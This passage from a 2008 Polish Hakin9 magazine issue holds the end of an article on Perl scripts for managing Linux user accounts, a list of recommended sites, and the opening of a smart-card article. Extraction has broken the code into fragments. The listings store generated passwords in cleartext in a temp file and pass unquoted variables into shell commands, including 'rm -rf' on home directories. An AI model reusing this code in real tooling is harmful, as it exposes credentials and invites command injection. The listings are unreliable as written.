      

if

 

(

$

opt_g

 

=

~ /^\

d

*

$/

)

 

{

         

foreach

 $

login

 

(

keys

 

%

$

hashpwd

)

 

{

            

if

 

(

$

{

$$

hashpwd

{

$

login

}

[

0

]

}{

'

groupID

'

}

 

==

 $

opt_g

)

 

{

               

push

(

@

users

, $

{

$$

hashpwd

{

$

login

}

[

0

]

}{

'

login

'

}

);

                 

}

          

}

        

}

         

else

 

{

         

my

 $

gid

=-

1

;

          

foreach

 $

name

 

(

keys

 

%

$

hashgrp

)

{

            

if

 

(

$

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

groupName

'

}

 

eq

 $

opt_g

)

{

            $

gid

 

=

 $

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

groupID

'

}

;

            

}

          

}

         

foreach

 $

login

 

(

keys

 

%

$

hashpwd

)

 

{

               

if

 

(

$

{

$$

hashpwd

{

$

login

}

[

0

]

}{

'

groupID

'

}

 

==

 $

gid

)

 

{

         

push

(

@

users

, $

{

$$

hashpwd

{

$

login

}

[

0

]

}{

'

login

'

}

);

         

}

        

}

      

}

   

}

return

 @

users

;

}

background image

26

 

POCZATKI

HAKIN9 9/2008

ADMINISTRACJA KONTAMI W LINUKSIE

27

 

HAKIN9 

9/2008

hasła, choć wstępne założenie faktycznie nie 
zostało do końca spełnione. Teraz nadszedł 

czas na zaszyfrowanie naszego hasełka. 
Podobnie jak poprzednio generujemy 

ciag znaków, ponownie o długości 8, lecz 
skonstruwany z nieco innego zestawu 
elementów (jest to tak zwana sól czyli 
randomowy fragment doklejany na początku 
szyfrowanych danych w celu dodatkowego 
zabezpieczenia). Sól musimy obudować 
do postaci $1$sól$. Dzięki temu efekt 
szyfrowania będzie odpowiadał standardowi 
jaki funkcjonuje w pliku shadow. Ostatecznie 
korzystamy z funkcji 

crypt($hasło,$sól)

No i w ten sposób otrzymujemy hasło 
zakodowane algorytmem MD5.

Na Listingu 7. mamy kolejne dwie ważne 

funkcje skryptu. Pierwsza z nich wyznacza 
nam kolejny wolny numer użytkownika (UID). 
Działa ona w dosyć trywialny, można by 
rzec wręcz – naiwny, sposób. Mianowicie 
porównuje wartości UID wszystkich 
wpisanych do bazy użytkowników, wybiera 
tego z największym UID a następnie 
dodaje 1 i zwraca wynik jako nowe UID. 
Przy czym należy tu zwrócić uwagę na wpis 
nobody znajdujący się w pliku passwd

Listing 4. 

Funkcje biblioteczne przywracające dane XML do formy hasha

sub

 

dbRootArray

()

 

{

  

my

 

(

$

xml

)

 

=

 @

_

;

  

my

 $

xmlStruct

=

$$

xml

{

'

struct

'

}

;

  

unless

(

defined

(

$$

xml

{

$$

xml

{

'

itemTag

'

}}

))

{

 $$

xml

{

$$

xml

{

'

itemTag

'

}}

=[];

 

}

  

return

 $$

xmlStruct

{

$$

xml

{

'

itemTag

'

}}

;

}

sub

 

dbToHash

()

 

{

  

my

 

(

$

refA

, $

keyFields

, $

sep

)

 

=

 @

_

;

  

  

unless

(

defined

(

$

sep

))

{

 $

sep

=

'|'

;

 

}

    

  

my

 $

refH

=

{}

;

  

foreach

 

my

 $

item

 

(

@$

refA

)

{

 

    

my

 $

key

 

=

 ''

;

    

foreach

 

my

 $

field

 

(

@$

keyFields

)

{

      

if

(

defined

(

$$

item

{

$

field

}

))

{

 $

key

.

=

$$

item

{

$

field

}

;

 

}

      

my

 $

key

.

=

$

sep

;

    

}

    

unless

(

defined

(

$$

refH

{

$

key

}

))

{

 $$

refH

{

$

key

}

=[];

 

}

 

    

push

 @

{

$$

refH

{

$

key

}}

, $

item

;

  

}

  

return

 $

refH

;

}

Listing 5. 

Dodawanie pojedynczego użytkownika

sub

 

Add

()

{

my

 @

items

 

=

 

qw

(

login

 

password

 

userID

 

groupID

 

description

 

homeDir

 

shell

 

passwordShadow

 

sp_lstchg

 

sp_min

 

sp_max

 

sp_warn

 

sp_inact

 

sp_expire

 

sp_flag

 

ahDir

);

my

 @

userspw

 

=

 

();

my

 @

userssh

 

=

 

();

my

 @

usersgr

 

=

 

();

my

 @

passes

 

=

 

();

my

 

%

userpw

 

=

 

();

my

 

%

usersh

 

=

 

();

my

 

%

usergr

 

=

 

();

my

 @

tab

 

=

 

();

   

if

 

(

$

login

 

eq

 

""

)

{

      

print

 

"Blad nazwa uzytkownika nie podana

\n

"

;

      

exit

;

   

}

   

my

 $

error

=&

TestUser

(

$

items

[

0

]

, $

login

);

  

if

 

(

$

error

==

1

)

{

      

print

 

"Blad uzytkownik "

, $

login

" istnieje $!

\n

"

;

      

exit

;

   

}

 

   $

userpw

{

$

items

[

0

]

}

 

=

 $

usersh

{

$

items

[

0

]

}

 

=

 $

usergr

{

$

items

[

0

]

}

 

=

 $

login

;

   $

userpw

{

$

items

[

4

]

}

 

=

 $

desc

;

   

if

 

(

$

pass

 

eq

 

""

)

{

      $

pass

 

=

 

&

MakePass

();

   

}

   

push

 @

tab

, $

login

, $

pass

;

    $

pass

 

=

 

&

Crypt

(

$

pass

);

   $

usersh

{

$

items

[

7

]

}

 

=

 $

pass

;

   

if

 

(

$

p

 

!=

 

7

)

{

$

usersh

{

$

items

[

10

]

}

 

=

 $

p

;

}

   

else

 

{

$

usersh

{

$

items

[

10

]

}

 

=

 $

p

;

}

   

if

 

(

$

uid

 

==

 

-

1

)

{

       $

uid

=&

CountID

(

$

items

[

0

]

,$

items

[

2

]

,

1

);

   

}

   

else

{

     $

error

=&

TestUser

(

$

items

[

2

]

, $

uid

);

       

if

 

(

$

error

==

1

)

{

         

print

 

"Blad uzytkownik o UID"

, $

uid

" istnieje $!

\n

"

;

         

exit

;

      

}

 

   

}

   $

userpw

{

$

items

[

2

]

}

 

=

 $

uid

;

 

   

if

 

(

$

gid

 

==

 

-

1

)

{

      $

gid

 

=

 $

option

{

'

GID

'

}

;

   

}

   $

userpw

{

$

items

[

3

]

}

 

=

 $

usergr

{

$

items

[

3

]

}

 

=

 $

gid

;

   

if

 

(

$

homedir

 

eq

 

""

)

{

$

homedir

 

=

 $

option

{

'

Homedir

'

}

.$

login

;

}

   $

userpw

{

$

items

[

5

]

}

 

=

 

"$homedir/$login"

;

   $

userpw

{

$

items

[

5

]

}

 

=

s

/\/

\//\//;

   $

userpw

{

$

items

[

6

]

}

 

=

 $

shell

;

   

if

 

(

$

e

 

!=

 

-

1

)

 

{

 $

usersh

{

$

items

[

13

]

}

 

=

 $

e

;

 

}

   $

usersh

{

$

items

[

8

]

}

 

=

 

int

(

time

()

/

(

3600

*

24

));

   

if

(

$

min

 

!=

 

-

1

)

{

$

usersh

{

$

items

[

9

]

}

=

$

min

;

}

   

else

{

$

usersh

{

$

items

[

9

]

}

=

""

;

}

   

if

(

$

warn

 

!=

 

-

1

)

{

$

usersh

{

$

items

[

11

]

}

=

$

warn

;

}

   

else

{

$

usersh

{

$

items

[

11

]

}

=

""

;

}

   

if

(

$

inact

 

ne

 

""

)

{

$

usersh

{

$

items

[

12

]

}

=

date

(

$

inact

)

 

-

 

date

(

'

1970

-

01

-

01

'

);

}

   

else

{

$

usersh

{

$

items

[

12

]

}

=

$

inact

;

}

 

   

if

(

$

flag

 

!=

 

-

1

)

{

$

usersh

{

$

items

[

14

]

}

=

$

flag

;

}

   

else

{

$

usersh

{

$

items

[

14

]

}

=

""

;

}

&

mkHome

(

$

homedir

, $

uid

, $

gid

);

push

 @

passes

, \@

tab

;

push

 @

userspw

, \

%

userpw

;

push

 @

userssh

, \

%

usersh

;

push

 @

usersgr

, \

%

usergr

;

close

(

LIST

);

if

 

(

$

vv

 

!=

0

)

{

print

 

"Uzytkownik $login zostal poprawnie dodany

\

n

"

;

}

&

SavePass

(

@

passes

);

&

addPasswd

(

$

installDir

, \@

userspw

);

&

addShadow

(

$

installDir

, \@

userssh

);

&

addGroup

(

$

installDir

, \@

usersgr

);

}

background image

28

 

POCZATKI

HAKIN9 9/2008

ADMINISTRACJA KONTAMI W LINUKSIE

29

 

HAKIN9 

9/2008

który to posiada najwyższy możliwy 
numer. Wystarczy jednak ominąć go przy 
sprawdzaniu. Faktem jest, iż ta metoda 
może być nieco kłopotliwa w miejscach, 
gdzie następuje duża rotacja kont. Możemy 
mieć wtedy do czynienia z bardzo szybkim 
przyrostem numeracji przy jednoczesnym 
powstawaniu dziur dla niższych wartości. 
Zaradzić temu można poprzez małą zmianę 
kodu zamiast wyszukiwać najwyższej 
wartości należałoby odnajdywać pierwszą 
wolną większa niż załóżmy 1000. Czasem 
jednak najprostsze rozwiązania okazują się 
najbardziej skuteczne.

Druga funkcja zajmuje się tworzeniem 

katalogu domowego. Jako parametr 
wywołania podajemy nazwę katalogu, 
który ma zostać stworzony (jest on 
tworzony w trakcie dodawania użytkownika 
poprzez pobranie z pliku konfiguracyjnego, 
przygotowanego na potrzeby skryptów, 
informacji o katalogu, w którym tworzone 
są poszczególne katalogi użytkowników 
i dodaniem do niego loginu nowego 
konta) oraz numery użytkownika (UID) i 
grupy (GID) Identyfikatory użytkownika i 
grupy są nam niezbędne w celu nadania 
odpowiednich uprawnień – w końcu nie 
możemy doprowadzić do sytuacji, w której 
użytkownikowi założono konto i katalog, ale 
nie ma on do niego żadnych praw, czyli nic 
z nim de facto nie może zrobić. Katalog jest 
tworzony, kopiowane są odpowiednie pliki 
(/etc/skel/) i nadawane prawa własności i 
dostępu. Wszystko to dzieje się przy użyciu 
podstawowych poleceń systemowych. 
W efekcie całe dodawanie konta działa 
dosyć podobnie do polecenia 

adduser()

z tą jednak różnicą, iż mamy możliwość 
dodawania grupowego oraz pełną kontrolę 
nad parametrami tworzonych kont.

Jeśli mamy zamiar dodać użytkownika, 

najlepiej sprawdzić najpierw, czy 
przypadkiem ktoś o takim samym loginie 
nie widnieje już w systemie. Pozwoli nam 
to uniknąć wielu kłopotów. W tym celu 
postała właśnie pierwsza funkcja z Listingu 
8 – 

TestUser()

. Oprócz tej procedury 

przydatnymi okazują się jeszcze inne z 
rodziny procedur testujących, gdyż musimy 
mieć pewność co dodajemy, gdzie i z 
jakimi prawami.

Kolejna z funkcji testujących, TestGID()

ma za zadanie sprawdzić, czy grupa, do 
której chcemy przypisać użytkownika, 
istnieje (wspominaliśmy wcześniej, iż 

istnieje możliwość podania parametrów 
tworzonego konta – możemy zdefiniować 
m.in. GID. W przypadku pojedynczego 
użytkownika najlepiej rozwiązać to 

odpowiednimi przełącznikami.). Sprawdzanie 
w tej funkcji odbywa się, jak sama nazwa 
wskazuje, na poziomie podanego numeru 
grupy. Jeśli chcemy podać nazwę grupy, 

Listing 6. 

Funkcje: generująca hasło, zapisująca niezaszyfrowane hasło do pliku, 

szyfrująca

sub

 

MakePass

()

{

my

 $

pass

=

""

;

@

letters

 

=

 

(

'A' .. 'Z', 'a' .. 'z'

);

@

cyph

 

=

 

(

'0' .. '9'

);

@

symb

 

=

 

(

'!','@','$','%','^','&','*'

);

for

 

(

$

i

=

0

;

$

i

<

8

;

$

i

++)

 

{

$

pass

 .

=

 $

letters

[

rand

@

letters

];

}

substr

(

$

pass

int

(

rand

()*

7

)

,

0

)

 

=

 $

cyph

[

rand

@

cyph

];

substr

(

$

pass

int

(

rand

()*

7

)

,

0

)

 

=

 $

symb

[

rand

@

symb

];

return

 $

pass

;

}

sub

 

SavePass

()

{

my

 @

passes

 

=

 @

_

;

open

(

FILE

">$installDir/tmp/passlist"

)

 

or

 

die

(

"Nie moge otworzyc pliku passlist: 

$!

\n

"

);

foreach

 $

tab

 

(

@

passes

)

{

foreach

 $

key

 

(

@$

tab

)

{

print

 

FILE

 $

key

" "

;

}

print

 

FILE

 

"

\n

"

;

}

close

(

FILE

);

}

sub

 

Crypt

()

{

my

 @

letters

 

=

 

(

'A' .. 'Z', 'a' .. 'z', '0' .. '9', '.', '/'

);

my

 $

salt

=

"

\$

1

\$

"

;

for

 

(

$

i

 

=

 

0

;

 $

i

<

8

;

 $

i

++)

 

{

$

salt

 

=

$

salt

.$

letters

[

rand

@

letters

];

}

my

 $

pass

 

=

 

shift

;

$

pass

 

=

 

crypt

(

$

pass

,$

salt

);

return

 $

pass

;

}

Listing 7. 

Funkcja wyznaczająca UID oraz zakładająca katalog domowy

sub

 

CountID

()

{

my

 $

uid

 

=

 

-

1

;

my

 $

user

 

=

 

shift

;

my

 $

id

 

=

 

shift

;

my

 $

count

 

=

 

shift

;

if

 

(

$

d

 

ne

 

""

)

{

$

xmlpwd

 

=

 

dbLoad

(

$

d

 . 

"/passwd"

,'

users

','

user

'

);

}

else

{

$

xmlpwd

 

=

 

dbLoad

(

"$installDir/etc/xml/passwd"

,'

users

','

user

'

);

}

my

 $

arruserpwd

 

=

 

dbRootArray

(

$

xmlpwd

);

my

 $

hashpwd

 

=

 

dbToHash

(

$

arruserpwd

,

[

'

login

'

]

,''

);

foreach

 $

log

 

(

keys

 

%

$

hashpwd

)

{

    

unless

(

$

{

$$

hashpwd

{

$

log

}

[

0

]

}{

$

user

}

 

eq

 

"nfsnobody"

)

{

      

if

 

(

$

{

$$

hashpwd

{

$

log

}

[

0

]

}{

$

id

}

 

>=

 $

uid

)

 

{

         $

uid

=

$

{

$$

hashpwd

{

$

log

}

[

0

]

}{

$

id

}

 

+

 $

count

;

      

}

   

}

}

return

 $

uid

;

}

sub

 

mkHome

()

{

my

 $

home

 

=

 

shift

;

my

 $

uid

 

=

 

shift

;

my

 $

group

 

=

 

shift

;

`

mkdir

 

-

p

 $

home

or

 

die

(

"nie mozna stworzyc katalogu"

);

`

cp

 

-

dR

 /

etc

/

skel

/. $

home

or

 

(

`

rm

 

-

rf

 $

home

and

 

die

(

"blad kopiowania plikow 

konfiguracyjnych"

));

`

chown

 

-

R

  $

uid

.$

group

 $

home

`

;

`

chmod

 

-

R

 

go

=

u

,

go

-

w

 $

home

`

;

`

chmod

 

go

=

 $

home

`

;

}

background image

28

 

POCZATKI

HAKIN9 9/2008

ADMINISTRACJA KONTAMI W LINUKSIE

29

 

HAKIN9 

9/2008

wówczas weryfikacją zajmie się następna 
funkcja – 

TestGroup()

.

Sprawdzanie grup odbywa się poprzez 

porównanie zadanej nazwy czy też GID z 
wartościami pliku group (a dokładniej jego 
XML-owego odpowiednika).

Oprócz sprawdzenia, czy istnieje grupa 

o podanej nazwie, funkcja ta pozwala nam 
również na uzyskanie jej GID, który zostaje 
zwrócony w przypadku pozytywnego 
dopasowania. Taki zabieg jest konieczny, 
gdyż cała praca wykonywana przy 

dopisywaniu użytkownika do grup odbywa 
się na bazie numeru grupy a nie jej nazwy.

Ostatecznie zmiany agregujemy poprzez 

użycie rodziny funkcji 

Add{nazwa pliku 

konfiguracyjnego}

(np. 

AddPasswd()

), które 

są częścią biblioteki Users.pm. Na kolejnym 
listingu przedstawię tylko jedną z nich, 
tyczącą się pliku passwd, gdyż pozostałe 
funkcje są analogiczne (Listing 9).

Jak widać działanie opiera się na 

odczytaniu istniejącego pliku passwd
a następnie dodaniu tablicy z nowymi 
wpisami i ponownym przekonwertowaniu do 
postaci XML. 

Zbędny balast

W trakcie pracy z systemem okazuje się 
często, że nie tylko należy dodać, ale też i 
usunąć zbędne już wpisy o użytkownikach, 
którzy dla przykładu zwolnili się z pracy 
(Listing 10). I w tej sytuacji może okazać 
się, iż kont takich jest kilka – zatem 
potrzebujemy funkcji, która będzie gotowa 
usuwać dla nas użytkowników np. według 
listy z ich loginami. Funkcja 

Del()

 ma dużo 

węższą funkcjonalność niż prezentowana 
wcześniej 

Add()

, niemniej jednak można ją 

w prosty sposób dopasować do własnych 
potrzeb, dodając pewne przełączniki oraz 
odpowiednio skonstruowane testy – po to, by 
na przykład usuwały konta, których ważność 
już się skończyła. Można do tego użyć choćby 
wcześniejszego skryptu wyciągającego 
informacje o użytkownikach. Wspomniane 
też było użycie przełączników, jeśli użyjemy 
obu tych opcji jednocześnie to możemy 
stworzyć w ten sposób listę samym loginów 
kont przedawnionych, która zamiast na ekran 
będzie wrzucana bezpośrednio do funkcji 

Del()

. W ten oto nieskomplikowany sposób 

wyżej wymieniony problem zostaje skutecznie 
usunięty. Możliwości łączenia opisywanych 
skryptów jest mnóstwo ogranicza je głównie 
fantazja administratora. A nawet jeśli będą 
wymagane do tego pewne zmiany w kodzie 
to zwykle będą to tylko zabiegi kosmetyczne. 
Osobiście nie potrzebowaliśmy dotąd tego 
typu rozwiązań, w związku z czym nie są one 
zaimplementowane w kodzie, który tu się 
pojawi).

Trzecim z głównych zadań 

administratora jest edycja parametrów kont 
użytkowników, jednak powstrzymam się tutaj 
od omawiania szczegółowego kodu funkcji 

Edit()

, gdyż nie wprowadza ona niczego 

nowego. Jej działanie opiera się na otwarciu 

Listing 8. 

Funkcje testujące

sub

 

TestUser

()

{

if

 

(

$

d

 

ne

 

""

)

{

$

xmlpwd

 

=

 

dbLoad

(

$

d

 . 

"/passwd"

,'

users

','

user

'

);

}

else

{

$

xmlpwd

 

=

 

dbLoad

(

"$installDir/etc/xml/passwd"

,'

users

','

user

'

);

}

my

 $

arruserpwd

 

=

 

dbRootArray

(

$

xmlpwd

);

my

 $

hashpwd

 

=

 

dbToHash

(

$

arruserpwd

,

[

'

login

'

]

,''

);

my

 $

item

 

=

 

shift

;

my

 $

user

 

=

 

shift

;

my

 $

error

 

=

 

0

;

foreach

 $

log

 

(

keys

 

%

$

hashpwd

)

{

if

 

(

$

{

$$

hashpwd

{

$

log

}

[

0

]

}{

$

item

}

 

eq

 $

user

)

 

{

$

error

 

=

 

1

;

}}

return

 $

error

;

}

sub

 

TestGID

()

{

my

 $

grpid

 

=

 

shift

;

if

 

(

$

d

 

ne

 

""

)

{

$

xmlgr

 

=

 

dbLoad

(

$

d

 . 

"/group"

,'

groups

','

group

'

);

}

else

{

$

xmlgr

 

=

 

dbLoad

(

"$installDir/etc/xml/group"

,'

groups

','

group

'

);

}

my

 $

arrusergr

 

=

 

dbRootArray

(

$

xmlgr

);

my

 $

hashgr

 

=

 

dbToHash

(

$

arrusergr

,

[

'

groupID

'

]

,''

);

my

 $

error

 

=

 

1

;

foreach

 $

grp

 

(

keys

 

%

$

hashgr

)

{

   

if

 

(

$

{

$$

hashgr

{

$

grp

}

[

0

]

}{

'

groupID

'

}

 

==

 $

grpid

)

 

{

$

error

 

=

 

0

;

}

   

}

if

 

(

$

error

 

==

 

1

)

{

   

print

 

"Blad grupa o GID=$grpid nie istnieje

\n

"

;

   

exit

;

}
}

sub

 

TestGroup

()

{

my

 $

grpname

 

=

 

shift

;

if

 

(

$

d

 

ne

 

""

)

{

$

xmlgr

 

=

 

dbLoad

(

$

d

 . 

"/group"

,'

groups

','

group

'

);

}

else

{

$

xmlgr

 

=

 

dbLoad

(

"$installDir/etc/xml/group"

,'

groups

','

group

'

);

}

my

 $

arrusergr

 

=

 

dbRootArray

(

$

xmlgr

);

my

 $

hashgr

 

=

 

dbToHash

(

$

arrusergr

,

[

'

groupID

'

]

,''

);

my

 $

error

 

=

 

1

;

foreach

 $

grp

 

(

keys

 

%

$

hashgr

)

{

   

if

 

(

$

{

$$

hashgr

{

$

grp

}

[

0

]

}{

'

groupName

'

}

 

eq

 $

grpname

)

 

{

      $

error

 

=

 

0

;

      

return

 $

{

$$

hashgr

{

$

grp

}

[

0

]

}{

'

groupID

'

}

;

   

}

}

if

 

(

$

error

 

==

 

1

)

{

      

print

 

"Blad grupa o nazwie $grpname nie istnieje

\n

"

;

      

exit

;

   

}

}

Listing 9. 

Funkcja dopisująca zmiany do pliku passwd

sub

 

addPasswd

()

{

my

 $

installDir

 

=

 

shift

;

my

 $

users

 

=

 

shift

 @

_

;

my

 $

xmlpwd

 

=

 

dbLoad

(

"$installDir/etc/xml/passwd"

,'

users

','

user

'

);

my

 $

arruserpwd

 

=

 

dbRootArray

(

$

xmlpwd

);

dbAdd

(

$

arruserpwd

, @$

users

);

$

xmlpwd

 

=

 

dbCreateStructXML

(

\@$

arruserpwd

,'

users

','

user

'

);

my

 $

fileName

 

=

 $

installDir

 . 

"/etc/xml/passwd"

;

my

 $

fileName2

 

=

 $

installDir

 . 

"/etc/passwd"

;

dbSave

(

$

xmlpwd

, $

fileName

);

savePasswd

(

$

fileName2

, @$

arruserpwd

);

}

background image

30

 

POCZATKI

HAKIN9 9/2008

plików konfiguracyjnych, przekonwertowaniu 
ich na postać hasha i wreszcie edycji 
poszczególnych pól dla danego użytkownika. 
Tym razem wszystko odbywa się poprzez 
odpowiednie przełączniki. Niestety, nie 
zastosowaliśmy tutaj mechanizmu list dla 
dokonywanie zmian, gdyż wymagałoby to 
bardziej skomplikowanego pliku listy niż 
miało to miejsce w przypadku dodawania 
użytkowników (należałoby tworzyć plik ze 
wszystkimi możliwymi do zmiany polami). 

Tworzenie takiej listy zajęłoby zbyt wiele 
czasu, a zatem byłoby bezcelowe.

Na zakończenie

W trakcie omawiania różnych fragmentów 
kodu wspomniałem o pliku konfiguracyjnym, 
można było też zauważyć odniesienia 
do wartości typu 

$options{'nazwa 

zmiennej'}

Zmienne te faktycznie 

zadeklarowane są w pliku konfiguracyjnym 
stworzonego przeze mnie systemu do 

zarządzania kontami użytkowników.  Plik  
users.conf zawiera pewne administracyjnie 
ustalane wartości, które można zmienić 
poprzez jego edycję. Ma to na celu 
ułatwienie dokonywania zmian w przypadku 
np. przenoszenia katalogów domowych w 
zupełnie inne miejsce, wówczas zamiast 
szukać w kodzie gdzie należy pozmieniać 
takowe katalogi zmieniamy jedynie wartość 
w pliku konfiguracyjnym a cały system dalej 
działa poprawnie. Mogą znajdować się 
tam także domyślne wartości parametrów 
takich jak GID, czy nazwy list użytkowników 
do dodania/usunięcia. Uznałem jednak, 
iż stworzenie takiego pliku jest zadaniem 
bardzo łatwym i w dużym stopniu zależnym 
od potrzeb administratora i w związku z tym 
nie zamieszczam jego struktury.

Podsumowanie

Powyższy artykuł z pewnością nie 
przedstawia idealnego rozwiązania naszych 
bolączek administratorskich, jednak powinien 
dosyć mocno naświetlić problematykę 
związaną z zarządzaniem kontami i pewnego 
rodzaju automatyzacją tego procesu. Daje 
też pewien pogląd na wykorzystanie formy 
XML w celu przechowywania informacji 
na lokalnej maszynie administratora jako 
idealnego formatu do dalszej konwersji i 
pracy nad zgromadzonymi danymi. Myślę, 
że niejeden administrator wyciągnie dla 
siebie coś cennego z tego tekstu. Zachęcam 
także do wprowadzania pewnych zmian i 
udogodnień w skryptach, które zostały tutaj 
zaprezentowane. Może okazać się, że pewne 
rozwiązania można jeszcze bardziej uprościć 
lub też wykorzystać do jeszcze bardziej 
skomplikowanych zadań. 

Bartosz Kamiński

Autor jest studente III roku Informatyki Stosowanej 

na Uniwersytecie Mikołaja Kopernika w Toruniu. 

Zajmuje się głównie sieciami komputerowymi oraz 

administracją nimi, a także administracją systemami i ich 

oskryptowaniem. Język, którym zajmuje się na potrzeby 

tworzenia skryptów, to Perl. Aktywny członek Grupy .NET 

Wydziału Fizyki, Astronomii i Informatyki stosowanej 

Uniwersytetu Mikołaja Kopernika w Toruniu.

Kontakt z autorem: sarlack@emssik.net.pl

Sławomir Orłowski

Autor jest z wykształcenia fizykiem. Obecnie jest 

doktorantem na Wydziale Fizyki, Astronomii i Informatyki 

Stosowanej Uniwersytetu Mikołaja Kopernika w 

Toruniu. Zajmuje się symulacjami komputerowymi 

układów biologicznych (dynamika molekularna) oraz 

bioinformatyką. Programowanie jest nieodzowną częścią 

jego pracy naukowej i dydaktycznej. Ma doświadczenie w 

programowaniu w językach C, C++, Delphi, Fortran, Java, 

C# i Tcl. Współzałożyciel i koordynator grupy .NET WFAiIS. 

Jest autorem artykułów i książek informatycznych. Strona 

domowa: http://www.fizyka.umk.pl/~bigman

Kontakt z autorem: bigman@fizyka.umk.pl

Listing 10. 

Funkcja usuwająca wpisy oraz agregująca zmiany dla pliku passwd

sub

 

Del

()

{

my

 @

usersgr

 

=

 

();

if

 

(

$

d

 

ne

 

""

)

{

   $

xmlpwd

 

=

 

dbLoad

(

$

d

 . 

"/passwd"

,'

users

','

user

'

);

   $

xmlsh

 

=

 

dbLoad

(

$

d

 . 

"/shadow"

,'

users

','

user

'

);

}

else

{

   $

xmlpwd

 

=

 

dbLoad

(

"$installDir/etc/xml/passwd"

,'

users

','

user

'

);

   $

xmlsh

 

=

 

dbLoad

(

"$installDir/etc/xml/shadow"

,'

users

','

user

'

);

}

my

 $

arruserpwd

 

=

 

dbRootArray

(

$

xmlpwd

);

my

 $

hashpwd

 

=

 

dbToHash

(

$

arruserpwd

,

[

'

login

'

]

,''

);

my

 $

arrusersh

 

=

 

dbRootArray

(

$

xmlsh

);

my

 $

hashsh

 

=

 

dbToHash

(

$

arrusersh

,

[

'

login

'

]

,''

);

my

 

%

usergr

 

=

 

();

   

if

 

(

$

uid

 

!=

 

-

1

)

 

{

      

foreach

 $

log

 

(

keys

 

%

$

hashpwd

)

{

         

if

 

(

$

{

$$

hashpwd

{

$

log

}

[

0

]

}{

$

items

[

2

]

}

 

==

 $

uid

)

 

{

               $

login

 

=

 $

{

$$

hashpwd

{

$

log

}

[

0

]

}{

$

items

[

0

]

}

         

}

      

}

   

}

   

if

 

(

$

login

 

ne

 

""

)

{

      

my

 $

cond

=

{

login

 

=>

 $

login

}

;

      

my

 @

deleted

 

=

 

dbDel

(

$

arruserpwd

,$

cond

);

      

if

 

(!

@

deleted

)

{

         

print

 

"Uzytkownik $login nie istnieje

\n

"

;

         

exit

;

      

}

      `

rm

 

-

rf

 $

deleted

[

0

]

{

'

homeDir

'

}

`

;

      $

usergr

{

'

login

'

}

 

=

 $

login

;

      $

usergr

{

'

groupID

'

}

 

=

 $

deleted

[

0

]

{

'

groupID

'

}

;

      

push

 @

usersgr

, \

%

usergr

;

   

      

dbDel

(

$

arrusersh

,$

cond

);

      

dbDel

(

$

arruserah

,$

cond

);

   

}

   

   

else

{

      

print

 

"Blad nie podano uzytkownika do usuniecia lub nie istnieje

\n

"

;

   

}

&

delPasswd

(

$

installDir

,\@$

arruserpwd

);

&

delShadow

(

$

installDir

,\@$

arrusersh

);

&

delGroup

(

$

installDir

,\@

usersgr

);

}

sub

 

delPasswd

()

{

my

 $

installDir

 

=

 

shift

;

my

 $

users

 

=

 

shift

 @

_

;

my

 $

xmlpwd

 

=

 

dbCreateStructXML

(

\@$

users

,'

users

','

user

'

);

my

 $

fileName

 

=

 $

installDir

 . 

"/etc/xml/passwd"

;

my

 $

fileName2

 

=

 $

installDir

 . 

"/etc/passwd"

;

dbSave

(

$

xmlpwd

, $

fileName

);

savePasswd

(

$

fileName2

, @$

users

);

}

background image

Strony rekomendowane

Misją  serwisu  jest  zaprezentowanie  języ-

ków  programowania  oraz  ułatwienie  użyt-

kownikowi ich szybkiej nauki.

http://www.cjp.xt.pl

Strona  firmy  świadczącej  profesjonalne 

usługii IT, specjalizującej się w wypożycza-

niu  serwerów  i  macierzy.  Firma  prowadzi 

także centrum szkoleniowe.

http://www.itlpolska.pl

Portal  poświęcony  technikom  programo-

wania oraz sposobom ochrony przed za-

grożeniami jakie płyną z Internetu. Przedsta-

wione techniki służą do celów edukacyjnych, 

nie  należy  ich  wykorzystywać  w  niewłaści-

wy sposób.

http://www.hackerzy.pl

Portal  internetowy  poświęcony  w  całości 

branży IT. Podzielony jest na trzy działy po-

święcone sprzętowi komputerowemu, grom 

i rozrywce oraz najnowszym aplikacjom. 

http://www.pcarena.pl/index.php

Do niedawna termin hacking był zarezerwo-

wany tylko dla profesjonalistów. Na tym por-

talu można dowiedzieć się więcej o tym za-

gadnieniu. Znajdują się na nim również aktu-

alności i obszerny dział downloads.  

http://www.hakerczat.prv.pl/index.html

Portal dla wszystkich zainteresowanych te-

matyką  bezpieczeństwa,  audytem,  IT  Go-

vernance w sieciach i systemach teleinfor-

matycznych, a także ochroną danych.

http://www.locos.pl/

Witryna  poświęcona  w  całości  tematy-

ce hakingu. Początkujący w tej dziedzinie 

znajdą  na  niej  działy,  ktore  im  umożliwią 

rozpoczęcie nauki.

http://www.haker.ocom.pl/

Misją  serwisu  jest  dostarczenie  dużej  ilo-

ści  informacji  z  zakresu  informatyki.  Znaj-

dują się na nim ciekawe artykuły, najśwież-

sze informacje z rynku IT, recenzje książek 

jak i kursy tworzenia portali www. 

http://www.swww.pl/

Serwis  poświęcony  branży  IT  oferujący 

codzienne  newsy,  artykuły,  recenzje  ma-

gazynów, testy oraz forum dyskusyjne.  

http://www.webhat.pl/index.php

Strona dla każdego webmastera i hackera. 

Jeśli zawsze chciałeś stworzyć swoją stro-

nę internetowej lub poznać haking od pod-

szewki, to ten serwis Ci w tym pomoże.

http://web4u.neth.pl/

Strona internetowa firmy Fit Consulting spe-

cjalizującej  się  w  nowoczesnych  rozwią-

zaniach  informatycznych,  zaczynając  od 

sprzedaży sprzętu komputerowego i świad-

czeniu usług po zaawansowane rozwiązania 

zarządzania przedsiębiorstwem.

http://www.fit-consulting.pl/

Strona koła naukowego PK IT Security Gro-

up. Koło ma na celu dostarczanie informacji 

związanych z bezpieczeństwem.

http://www.pkitsec.pl/

Strony rekomendowane

background image

32

 

HAKIN9

ATAK

9/2008

K

artę taką, o troszkę innym rozmiarze niż 
ten opisywany w normie ISO, posiada 
każdy użytkownik telefonu komórkowego. 

Pasjonaci telewizji satelitarnej doskonale znają 
karty tego rodzaju, gdyż wykorzystywane są 
przez komercyjne stacje nadawcze do weryfikacji 
opłaconego abonamentu i dekodowania 
programów płatnych. Podobne rozwiązania są 
stosowane również w kartach telefonicznych. 
Markowe laptopy nierzadko wyposażone są w 
czytniki SmartCard, więc można zabezpieczyć w 
ten sposób także swojego notebooka. Popularne 
stały się zamki w drzwiach oparte o technologię 
takich kart. Zapewne można znaleźć więcej 
zastosowań kart inteligentnych, jednak nie to jest 
w artykule najważniejsze. Skupimy się na tym, 
jak zbudowane są karty, jak działają, czy takie 
rozwiązania są bezpieczne i czy można im ufać. 

